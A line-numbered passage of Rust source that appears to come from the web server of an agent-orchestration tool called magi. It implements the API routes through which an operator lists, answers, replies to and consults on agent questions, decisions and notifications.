8144                    if let Some(revs) = revs {
8145                        let payload = serde_json::json!({
8146                            "queue_rev": revs.0,
8147                            "runs_rev": revs.1,
8148                            "questions_rev": revs.2,
8149                            "talks_rev": revs.3,
8150                            "notifications_rev": revs.4,
8151                            "loop_rev": revs.5,
8152                        });
8153                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8154                            if tx.send(event).await.is_err() {
8155                                break;
8156                            }
8157                        }
8158                    }
8159                }
8160                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8161                    break;
8162                }
8163            }
8164        }
8165    });
8166
8167    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8168        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8169}
8170
8171/// Run ids under `runs`, newest first.
8172///
8173/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8174/// which reads the process-global home: the server has to be drivable against
8175/// a temp directory for any of this to be testable.
8176fn run_ids(runs: &FsPath) -> Vec<String> {
8177    let mut ids: Vec<String> = std::fs::read_dir(runs)
8178        .into_iter()
8179        .flatten()
8180        .flatten()
8181        .filter(|e| e.path().join("run.json").is_file())
8182        .map(|e| e.file_name().to_string_lossy().into_owned())
8183        .collect();
8184    // Ids start with a sortable timestamp.
8185    ids.sort_unstable_by(|a, b| b.cmp(a));
8186    ids
8187}
8188
8189/// Read one run's state from an explicit runs root.
8190fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8191    let path = runs.join(id).join("run.json");
8192    let body =
8193        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8194    let state: RunState =
8195        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8196    // The same migration `RunState::load` applies, so a record from the
8197    // previous schema reads here as it does everywhere else (an origin-less
8198    // run shows as "origin unknown") instead of vanishing from the phone the
8199    // moment the schema is bumped.
8200    run::migrate_schema(state)
8201}
8202
8203/// Runs on disk under `runs` whose state this build cannot parse - almost
8204/// always a schema bump, occasionally a run killed mid-write.
8205///
8206/// Exposed so every surface that reports on runs shares one count instead of
8207/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8208/// `magi doctor` calls this directly rather than guessing at the same number
8209/// a second way.
8210#[must_use]
8211pub fn runs_unreadable(runs: &FsPath) -> usize {
8212    run_ids(runs)
8213        .into_iter()
8214        .filter(|id| read_run(runs, id).is_err())
8215        .count()
8216}
8217
8218fn plain_record_id(id: &str) -> bool {
8219    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8220}
8221
8222/// Expand an id or short id to exactly one run id.
8223fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8224    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8225        return Ok(id.to_owned());
8226    }
8227    pick(run_ids(runs), id, "run")
8228}
8229
8230/// Expand an id or short id to exactly one task id.
8231fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8232    if plain_record_id(id) && queue.path_of(id).is_file() {
8233        return Ok(id.to_owned());
8234    }
8235    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8236    pick(ids, id, "task")
8237}
8238
8239/// A question as the phone reads it.
8240///
8241/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8242/// text already parsed into a node tree so the client never runs its own
8243/// markdown reader over agent-authored prose. A relative image path in it
8244/// resolves against this question's own panel asset route, which is the one
8245/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8246/// separate, sandboxed document, but `detail` is rendered inline in the
8247/// operator's own page, so an image reference in it may only ever point at
8248/// files magi itself already serves for this question.
8249#[derive(Debug, Serialize)]
8250struct QuestionView {
8251    can_answer: bool,
8252    /// Imported consent remains history even while its effect is uncertain.
8253    history_only: bool,
8254    choice_effects: std::collections::BTreeMap<String, String>,
8255    record_revision: String,
8256    #[serde(flatten)]
8257    question: Question,
8258    detail_md: Vec<md::Node>,
8259    posting_view: Option<PostingView>,
8260    /// Each thread turn's body, parsed; same order as `question.thread`.
8261    thread_bodies_md: Vec<Vec<md::Node>>,
8262    /// Each thread turn's deputy note, parsed (`None` for a turn without
8263    /// one); same order as `question.thread`.
8264    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8265    /// Is the ball in the agent's court right now?
8266    ///
8267    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8268    /// [`Question::say`] - so this is the one field that tells the phone to
8269    /// disable the answer controls and show "waiting for the agent" instead of
8270    /// a card the owner can act on. Computed rather than stored on
8271    /// [`Question`] itself, on the same reasoning as `waiting` on
8272    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8273    /// it here means the client never has to re-derive that rule.
8274    waiting_on_agent: bool,
8275    /// Who is waiting on this open question - see [`holder_of`]. Separate
8276    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8277    /// anyone is there to take it.
8278    holder: Option<&'static str>,
8279    /// Whether `magi serve` can start a follow-up agent for a conductor
8280    /// question at all: false when `daemon.max_deputies = 0` or the config is
8281    /// unreadable. Separate from `holder`, which says who is listening now.
8282    deputies_enabled: bool,
8283    /// All starts were spent and no live holder remains. Display-only: the
8284    /// final attempt increments `starts` before running under its lease.
8285    deputy_exhausted: bool,
8286    text_delivery: crate::question_delivery::Availability,
8287    /// `question.run` is a task id (conductor / triage questions), not a run
8288    /// id, so the UI links it to the task page.
8289    run_is_task: bool,
8290    /// The existing chat this question's task came from, including settled
8291    /// questions - see [`crate::consult::associated_talk`].
8292    origin_chat: Option<String>,
8293    /// `origin_chat` is closed; consulting reopens it first.
8294    origin_chat_closed: bool,
8295    /// Consultation eligibility is separate from navigation to the chat.
8296    can_consult_chat: bool,
8297}
8298
8299#[derive(Debug, Serialize)]
8300struct PostingView {
8301    before_md: Vec<md::Node>,
8302    after_md: Vec<md::Node>,
8303    fields: Vec<crate::github_text::ComparisonView>,
8304}
8305
8306fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8307    let comparison = question.posting_comparison.as_ref()?;
8308    if !comparison.matches_detail(&question.detail) {
8309        return None;
8310    }
8311    let mut ids = std::collections::BTreeSet::new();
8312    if comparison.fields.is_empty()
8313        || comparison
8314            .fields
8315            .iter()
8316            .flat_map(|f| &f.pairs)
8317            .any(|p| !ids.insert(p.id))
8318        || comparison
8319            .fields
8320            .iter()
8321            .flat_map(|f| &f.original_triggers)
8322            .any(|t| !ids.insert(t.id))
8323    {
8324        return None;
8325    }
8326    let fields = comparison
8327        .fields
8328        .iter()
8329        .map(|f| f.view(comparison.excerpt))
8330        .collect::<Option<Vec<_>>>()?;
8331    Some(PostingView {
8332        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8333        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8334        fields,
8335    })
8336}
8337
8338impl QuestionView {
8339    /// The view of `question`, reading who is waiting on it from `store`.
8340    ///
8341    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8342    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8343        let base = md::ImageBase::QuestionPanel {
8344            id: question.id.clone(),
8345        };
8346        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8347        Self {
8348            can_answer: question.can_answer(),
8349            history_only: store.held_reply(&question.id),
8350            choice_effects: question
8351                .choices
8352                .iter()
8353                .filter_map(|c| {
8354                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8355                })
8356                .collect(),
8357            record_revision: question_record_revision(&question),
8358            detail_md: md::to_nodes(&question.detail, &base),
8359            posting_view: posting_view(&question, &base),
8360            thread_bodies_md: question
8361                .thread
8362                .iter()
8363                .map(|t| md::to_nodes(&t.body, &base))
8364                .collect(),
8365            thread_notes_md: question
8366                .thread
8367                .iter()
8368                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8369                .collect(),
8370            deputy_exhausted: store.deputy_exhausted(&question),
8371            waiting_on_agent: question.waiting_on_agent(),
8372            holder,
8373            deputies_enabled: deputies_enabled(cfg, &question),
8374            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8375            run_is_task: question.run_names_task(),
8376            origin_chat: None,
8377            origin_chat_closed: false,
8378            can_consult_chat: false,
8379            question,
8380        }
8381    }
8382
8383    /// Fill `origin_chat` from the queue and the talks.
8384    fn with_origin(
8385        mut self,
8386        tasks: &[crate::queue::Task],
8387        talks: &[Talk],
8388        watches: &[crate::release_watch::WatchState],
8389    ) -> Self {
8390        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8391        self.can_consult_chat = consult.is_some();
8392        let talk =
8393            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8394        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8395        self.origin_chat = talk.map(|t| t.id);
8396        self
8397    }
8398}
8399
8400/// The config this repository resolves, or `None` when it cannot be read.
8401/// Discovering is git processes plus a config render, so a request that needs
8402/// it for many items takes it once and passes it down.
8403fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8404    Config::discover(repo, None).ok().map(|(c, _)| c)
8405}
8406
8407/// Can `magi serve` start a deputy for this question under `cfg`?
8408fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8409    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8410}
8411
8412/// The views `GET /api/questions` answers. `load` runs at most once, however
8413/// many questions there are, and not at all when there are none.
8414fn question_views(
8415    qs: Vec<Question>,
8416    store: &ask::Questions,
8417    load: impl FnOnce() -> Option<Config>,
8418) -> Vec<QuestionView> {
8419    if qs.is_empty() {
8420        return Vec::new();
8421    }
8422    let cfg = load();
8423    qs.into_iter()
8424        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8425        .collect()
8426}
8427
8428/// Who is honestly waiting on an open question right now: `"asker"` (the
8429/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8430/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8431/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8432/// up, or the question never had anyone listening (a conductor question or a
8433/// merge approval from before deputies, or not yet given one).
8434///
8435/// `None` for a question that is settled, and for one that is not an agent's
8436/// to wait on at all (a release notice).
8437fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8438    if !q.status.open() {
8439        return None;
8440    }
8441    if q.cwd.is_none()
8442        && q.deputy.is_none()
8443        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8444    {
8445        return crate::deputy::kind_of(q).map(|_| "nobody");
8446    }
8447    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8448        Some(_) if q.deputy.is_some() => "deputy",
8449        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8450        Some(_) => "asker",
8451        None => "nobody",
8452    })
8453}
8454
8455/// `GET /api/questions`.
8456///
8457/// Everything, not just the open ones: an answered question is the record of a
8458/// decision, and the phone is where the operator goes back to check what they
8459/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8460#[derive(serde::Serialize)]
8461struct DecisionView {
8462    id: String,
8463    task: String,
8464    run: Option<String>,
8465    chat: Option<String>,
8466    display: String,
8467    delivery_error: Option<String>,
8468    decision: crate::task_decision::Decision,
8469    attention: crate::task_decision::Attention,
8470    next_step: &'static str,
8471    last_observation: Option<String>,
8472}
8473
8474impl DecisionView {
8475    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8476        let attention = inquiry.attention()?;
8477        let last_observation = inquiry
8478            .decision
8479            .as_ref()?
8480            .last_observation
8481            .as_ref()
8482            .map(|o| o.describe());
8483        Some(Self {
8484            id: inquiry.id,
8485            task: inquiry.task,
8486            run: inquiry.run,
8487            chat: inquiry.delivered_to,
8488            display: inquiry.display,
8489            delivery_error: inquiry.delivery_error,
8490            decision: inquiry.decision?,
8491            attention,
8492            next_step: match attention {
8493                crate::task_decision::Attention::OwnerChoice => {
8494                    "Discuss the choice in the owning chat."
8495                }
8496                crate::task_decision::Attention::ReceiptCheck => {
8497                    "Check durable receipts before retrying; do not replay the request."
8498                }
8499                crate::task_decision::Attention::InFlight => {
8500                    "Wait for the effect or execution-start receipt."
8501                }
8502                crate::task_decision::Attention::ReleaseFollowup => {
8503                    "Inspect the remaining release work independently of the original merge."
8504                }
8505                crate::task_decision::Attention::StaleTarget => {
8506                    "Inspect the changed or closed target; do not approve an old head."
8507                }
8508                crate::task_decision::Attention::Resolved => {
8509                    "Inspect the recorded closure reason in history."
8510                }
8511            },
8512            last_observation,
8513        })
8514    }
8515}
8516
8517#[derive(serde::Serialize)]
8518struct DecisionsView {
8519    items: Vec<DecisionView>,
8520    unreadable: usize,
8521    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8522}
8523
8524// Read-only: list visits and inquiry links never create owner decisions,
8525// delivery receipts or effect acknowledgements.
8526async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8527    blocking(move || {
8528        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8529        let mut views: Vec<_> = items
8530            .into_iter()
8531            .filter_map(DecisionView::from_inquiry)
8532            .collect();
8533        views.sort_by_key(|view| {
8534            (
8535                view.decision.status == crate::task_decision::Status::Resolved,
8536                view.id.clone(),
8537            )
8538        });
8539        Ok(Json(DecisionsView {
8540            items: views,
8541            unreadable,
8542            migration_errors: crate::task_chat::migration_issues(&ui.home),
8543        }))
8544    })
8545    .await
8546}
8547
8548async fn decision_get(
8549    State(ui): State<Arc<Ui>>,
8550    Path(id): Path<String>,
8551) -> ApiResult<Json<DecisionView>> {
8552    blocking(move || {
8553        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8554        DecisionView::from_inquiry(inquiry)
8555            .map(Json)
8556            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8557    })
8558    .await
8559}
8560
8561async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8562    blocking(move || {
8563        let questions = ui.questions.list();
8564        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8565        Ok(Json(
8566            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8567                .into_iter()
8568                .map(|view| view.with_origin(&tasks, &talks, &watches))
8569                .collect(),
8570        ))
8571    })
8572    .await
8573}
8574
8575/// Question content and answer controls never wait for task/chat provenance.
8576async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8577    blocking(move || {
8578        Ok(Json(question_views(
8579            ui.questions.list(),
8580            &ui.questions,
8581            || deputy_config(&ui.repo),
8582        )))
8583    })
8584    .await
8585}
8586
8587fn question_record_revision(question: &Question) -> String {
8588    use std::hash::{Hash as _, Hasher as _};
8589    let mut hash = std::hash::DefaultHasher::new();
8590    serde_json::to_vec(question)
8591        .expect("serializable question")
8592        .hash(&mut hash);
8593    format!("{:016x}", hash.finish())
8594}
8595
8596#[derive(Serialize)]
8597struct QuestionOriginView {
8598    id: String,
8599    record_revision: String,
8600    origin_chat: Option<String>,
8601    origin_chat_closed: bool,
8602    can_consult_chat: bool,
8603}
8604
8605async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8606    blocking(move || {
8607        let questions = ui.questions.list();
8608        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8609        Ok(Json(
8610            questions
8611                .into_iter()
8612                .map(|question| {
8613                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8614                    let can_consult_chat = consult.is_some();
8615                    let talk = crate::consult::associated_talk_with_watches(
8616                        &tasks, &talks, &question, &watches,
8617                    );
8618                    QuestionOriginView {
8619                        record_revision: question_record_revision(&question),
8620                        id: question.id,
8621                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8622                        origin_chat: talk.map(|talk| talk.id),
8623                        can_consult_chat,
8624                    }
8625                })
8626                .collect(),
8627        ))
8628    })
8629    .await
8630}
8631
8632type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8633
8634/// Only the task ancestry and chats these questions actually reference. Run
8635/// mappings share the reconciled queue index; exact task references bypass it.
8636/// No question means no task/chat I/O, including no index reconciliation.
8637fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8638    fn task_for_run(
8639        ui: &Ui,
8640        index: &mut Option<Vec<Arc<TaskRelation>>>,
8641        run: &str,
8642        loaded: &HashMap<String, Task>,
8643    ) -> ApiResult<Option<Task>> {
8644        if !plain_record_id(run) {
8645            return Ok(None);
8646        }
8647        if index.is_none() {
8648            *index = Some(ui.indexed_tasks()?);
8649        }
8650        Ok(index
8651            .as_ref()
8652            .expect("loaded index")
8653            .iter()
8654            .find(|task| task.runs.iter().any(|id| id == run))
8655            .and_then(|task| {
8656                loaded
8657                    .get(&task.id)
8658                    .cloned()
8659                    .or_else(|| ui.queue.get(&task.id).ok())
8660            })
8661            .filter(|task| task.runs.iter().any(|id| id == run)))
8662    }
8663    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8664        plain_record_id(id)
8665            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8666            .flatten()
8667            .filter(|task| task.id == id)
8668    };
8669    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8670    let mut index = None;
8671    let mut tasks = HashMap::new();
8672    let mut talks = HashMap::new();
8673    for question in questions {
8674        for reference in crate::consult::question_task_refs(question, &watches) {
8675            let mut current = match reference {
8676                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8677                crate::consult::QuestionTaskRef::Run(id) => {
8678                    task_for_run(ui, &mut index, id, &tasks)?
8679                }
8680            };
8681            let mut seen = HashSet::new();
8682            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8683                let Some(task) = current.take() else {
8684                    break;
8685                };
8686                if !seen.insert(task.id.clone()) {
8687                    break;
8688                }
8689                let chat = task.chat_talk().map(str::to_owned);
8690                let followup = task.followup.clone();
8691                tasks.insert(task.id.clone(), task);
8692                if let Some(chat) = chat {
8693                    if plain_record_id(&chat)
8694                        && !talks.contains_key(&chat)
8695                        && let Ok(talk) = ui.talks.get(&chat)
8696                    {
8697                        talks.insert(chat, talk);
8698                    }
8699                    break;
8700                }
8701                let Some(followup) = followup else {
8702                    break;
8703                };
8704                current = match followup.origin_task {
8705                    Some(id) => direct_task(&id, &tasks),
8706                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8707                };
8708            }
8709        }
8710    }
8711    let mut tasks: Vec<Task> = tasks.into_values().collect();
8712    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8713    Ok((tasks, talks.into_values().collect(), watches))
8714}
8715
8716/// `GET /api/notifications`: not dismissed, newest first, with the unread
8717/// count so the badge and the list cannot disagree.
8718async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8719    blocking(move || {
8720        let items = ui.notices.list();
8721        let unread = items.iter().filter(|n| n.unread()).count();
8722        let items: Vec<_> = items
8723            .into_iter()
8724            .map(|n| {
8725                let question = crate::notices::answerable_question(&n, &ui.questions);
8726                let mut item = serde_json::to_value(n)?;
8727                item["answerable_question"] = serde_json::json!(question);
8728                Ok(item)
8729            })
8730            .collect::<anyhow::Result<_>>()?;
8731        Ok(Json(
8732            serde_json::json!({ "unread": unread, "items": items }),
8733        ))
8734    })
8735    .await
8736}
8737
8738fn notice_error(e: anyhow::Error) -> ApiError {
8739    // An unknown or malformed id and a vanished file are the same answer to
8740    // the phone: that notification is gone.
8741    ApiError::not_found(format!("{e:#}"))
8742}
8743
8744/// `POST /api/notifications/{id}/read`.
8745async fn notification_read(
8746    State(ui): State<Arc<Ui>>,
8747    Path(id): Path<String>,
8748) -> ApiResult<Json<Notice>> {
8749    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8750}
8751
8752/// `POST /api/notifications/{id}/dismiss`.
8753async fn notification_dismiss(
8754    State(ui): State<Arc<Ui>>,
8755    Path(id): Path<String>,
8756) -> ApiResult<Json<Notice>> {
8757    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8758}
8759
8760/// `POST /api/notifications/read-all`.
8761async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8762    blocking(move || {
8763        let changed = ui.notices.mark_all_read()?;
8764        Ok(Json(serde_json::json!({ "marked": changed })))
8765    })
8766    .await
8767}
8768
8769/// The body of `POST /api/questions/{id}/answer`.
8770///
8771/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8772/// a bad request rather than a guess: an answer magi invented is worse than a
8773/// question left open.
8774#[derive(Debug, Default, Deserialize)]
8775#[serde(default, deny_unknown_fields)]
8776struct NewAnswer {
8777    choice: Option<String>,
8778    text: Option<String>,
8779    talk: Option<String>,
8780    head: Option<String>,
8781}
8782
8783async fn question_answer(
8784    State(ui): State<Arc<Ui>>,
8785    Path(id): Path<String>,
8786    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8787) -> ApiResult<Json<QuestionView>> {
8788    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8789    let answer = match (body.choice, body.text) {
8790        (Some(c), None) => Answer::Choice(c),
8791        (None, Some(t)) => Answer::Text(t),
8792        (Some(_), Some(_)) => {
8793            return Err(ApiError::bad_request(
8794                "send either `choice` or `text`, not both",
8795            ));
8796        }
8797        (None, None) => {
8798            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8799        }
8800    };
8801
8802    blocking(move || {
8803        let id = resolve_question(&ui.questions, &id)?;
8804        let q = ui
8805            .questions
8806            .get(&id)
8807            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8808        if !q.can_answer() {
8809            // Answered from the terminal, or by another phone, in between the
8810            // list and the tap. The UI shows the recorded answer rather than an
8811            // error, so it needs the record, not just the status.
8812            return Err(ApiError::conflict(format!(
8813                "question {} is already {}",
8814                q.short(),
8815                q.status.as_str()
8816            )));
8817        }
8818        // `Question::answer` owns the rules - an unoffered choice, free text on
8819        // a multiple-choice question, an empty reply - so the route does not
8820        // restate them and cannot drift from the CLI's behaviour.
8821        let cfg = deputy_config(&ui.repo);
8822        let (q, ()) = ui
8823            .questions
8824            .update(&q.id, |r| {
8825                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8826                // Buttons retain their displayed chat/head binding. A direct
8827                // decision does not require a button or a prior persona offer.
8828                if r.routed_task.is_some()
8829                    && r.merge_target.is_some()
8830                    && merge
8831                    && (body.talk.is_some() || body.head.is_some())
8832                {
8833                    let talk_id = body
8834                        .talk
8835                        .as_deref()
8836                        .context("approval button requires its chat")?;
8837                    let head = body
8838                        .head
8839                        .as_deref()
8840                        .context("approval button requires the displayed head")?;
8841                    let talk = ui.talks.get(talk_id)?;
8842                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8843                    r.answer_chat_button(answer, talk_id, head)
8844                } else {
8845                    r.answer(answer)
8846                }
8847            })
8848            .map_err(ApiError::bad_request_from)?;
8849        let (tasks, talks, watches) =
8850            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8851        Ok(Json(
8852            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8853        ))
8854    })
8855    .await
8856}
8857
8858/// A dedicated status avoids the client's settled-question 409 handling.
8859fn question_text_error(e: anyhow::Error) -> ApiError {
8860    let reason = e
8861        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8862        .map(|e| e.reason);
8863    let error = ApiError::bad_request_from(e);
8864    if let Some(reason) = reason {
8865        ApiError {
8866            text_reason: Some(reason),
8867            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8868        }
8869    } else {
8870        error
8871    }
8872}
8873
8874/// The body of `POST /api/questions/{id}/say`.
8875#[derive(Debug, Deserialize)]
8876#[serde(deny_unknown_fields)]
8877struct NewSay {
8878    body: String,
8879}
8880
8881/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8882///
8883/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8884/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8885/// file, so there is no turn to serialize against and no
8886/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8887/// is a *different* process - the run parked behind `magi ask` - and picks
8888/// the reply up on its own poll of the very same file, same as an answer
8889/// does.
8890async fn question_say(
8891    State(ui): State<Arc<Ui>>,
8892    Path(id): Path<String>,
8893    body: std::result::Result<Json<NewSay>, JsonRejection>,
8894) -> ApiResult<Json<QuestionView>> {
8895    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8896    blocking(move || {
8897        let id = resolve_question(&ui.questions, &id)?;
8898        let q = ui
8899            .questions
8900            .get(&id)
8901            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8902        if !q.status.open() {
8903            // Same granularity as `question_answer`: answered or abandoned in
8904            // between the list and the tap is not this route's error to
8905            // explain any differently.
8906            return Err(ApiError::conflict(format!(
8907                "question {} is already {}",
8908                q.short(),
8909                q.status.as_str()
8910            )));
8911        }
8912        // `Question::say` owns the one rule that matters here - an empty
8913        // message tells the agent nothing - so the route does not restate it.
8914        let cfg = deputy_config(&ui.repo);
8915        let (q, ()) = ui
8916            .questions
8917            .update(&q.id, |r| {
8918                if body.body.trim().is_empty() {
8919                    return r.say(body.body);
8920                }
8921                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8922                r.say(body.body)
8923            })
8924            .map_err(question_text_error)?;
8925        let (tasks, talks, watches) =
8926            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8927        Ok(Json(
8928            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8929        ))
8930    })
8931    .await
8932}
8933
8934/// A disconnected request or a replacing listener cannot interrupt the short
8935/// transaction between persistence and detached worker publication.
8936async fn admitted<T: Send + 'static>(
8937    admission: AdmissionGuard,
8938    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8939) -> ApiResult<T> {
8940    tokio::spawn(async move {
8941        let result = work.await;
8942        drop(admission);
8943        result
8944    })
8945    .await
8946    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8947}
8948
8949/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8950/// came from. The question stays open: the chat agent answers it with `magi
8951/// answer`, or puts the decision to the owner in the conversation.
8952///
8953/// Answers 202 and runs the turn in the background, like every route that
8954/// spends agent calls. The text is queued as a draft of the existing talk, and
8955/// the turn goes through the talk's own gate and session; no seat or waiter is
8956/// started here.
8957async fn question_consult(
8958    State(ui): State<Arc<Ui>>,
8959    Path(id): Path<String>,
8960) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8961    let admission = ui.begin_admission()?;
8962    admitted(admission, async move {
8963        let (q, tasks, talks, watches, talk, cfg) = blocking({
8964            let ui = Arc::clone(&ui);
8965            move || {
8966                let id = resolve_question(&ui.questions, &id)?;
8967                let q = ui.questions.get(&id).map_err(|e| {
8968                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8969                })?;
8970                if !q.status.open() {
8971                    return Err(ApiError::conflict(format!(
8972                        "question {} is already {}",
8973                        q.short(),
8974                        q.status.as_str()
8975                    )));
8976                }
8977                let (tasks, talks, watches) =
8978                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8979                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8980                    return Err(ApiError::conflict(format!(
8981                        "question {} has no chat to ask",
8982                        q.short()
8983                    )));
8984                };
8985                // Read the config before `begin` saves anything: a failure here
8986                // must leave no consult record or draft behind, or a retry would
8987                // see `fresh == false` and never start the turn.
8988                let cfg = if q.consult.is_none() {
8989                    Some(Config::discover(&talk.repo, None)?.0)
8990                } else {
8991                    None
8992                };
8993                Ok((q, tasks, talks, watches, talk, cfg))
8994            }
8995        })
8996        .await?;
8997        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8998            .await
8999            .map_err(ApiError::from)?;
9000        let (view, reclaimed, submitted) = blocking({
9001            let ui = Arc::clone(&ui);
9002            move || {
9003                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9004                let claim = if fresh {
9005                    match ui.begin_queued_talk_turn(&talk.id)? {
9006                        Some(turn_guard) => {
9007                            let talk = ui.talks.get(&talk.id)?;
9008                            let cfg = match cfg {
9009                                Some(cfg) => cfg,
9010                                None => Config::discover(&talk.repo, None)?.0,
9011                            };
9012                            Some((talk, cfg, turn_guard))
9013                        }
9014                        None => None,
9015                    }
9016                } else {
9017                    None
9018                };
9019                let q = ui.questions.get(&q.id)?;
9020                let cfg = deputy_config(&ui.repo);
9021                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9022                    .with_origin(&tasks, &talks, &watches);
9023                Ok((view, claim, fresh.then_some(talk.id)))
9024            }
9025        })
9026        .await?;
9027        #[cfg(not(test))]
9028        {
9029            if let Some(id) = submitted {
9030                crate::chat_worker::spawn_turn(&ui.talks, &id)
9031                    .await
9032                    .map_err(ApiError::from)?;
9033            }
9034            drop(reclaimed);
9035        }
9036        #[cfg(test)]
9037        let _ = submitted;
9038        #[cfg(test)]
9039        if let Some((talk, cfg, turn_guard)) = reclaimed {
9040            let talks = ui.talks.clone();
9041            let id = talk.id.clone();
9042            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9043        }
9044        Ok((StatusCode::ACCEPTED, Json(view)))
9045    })
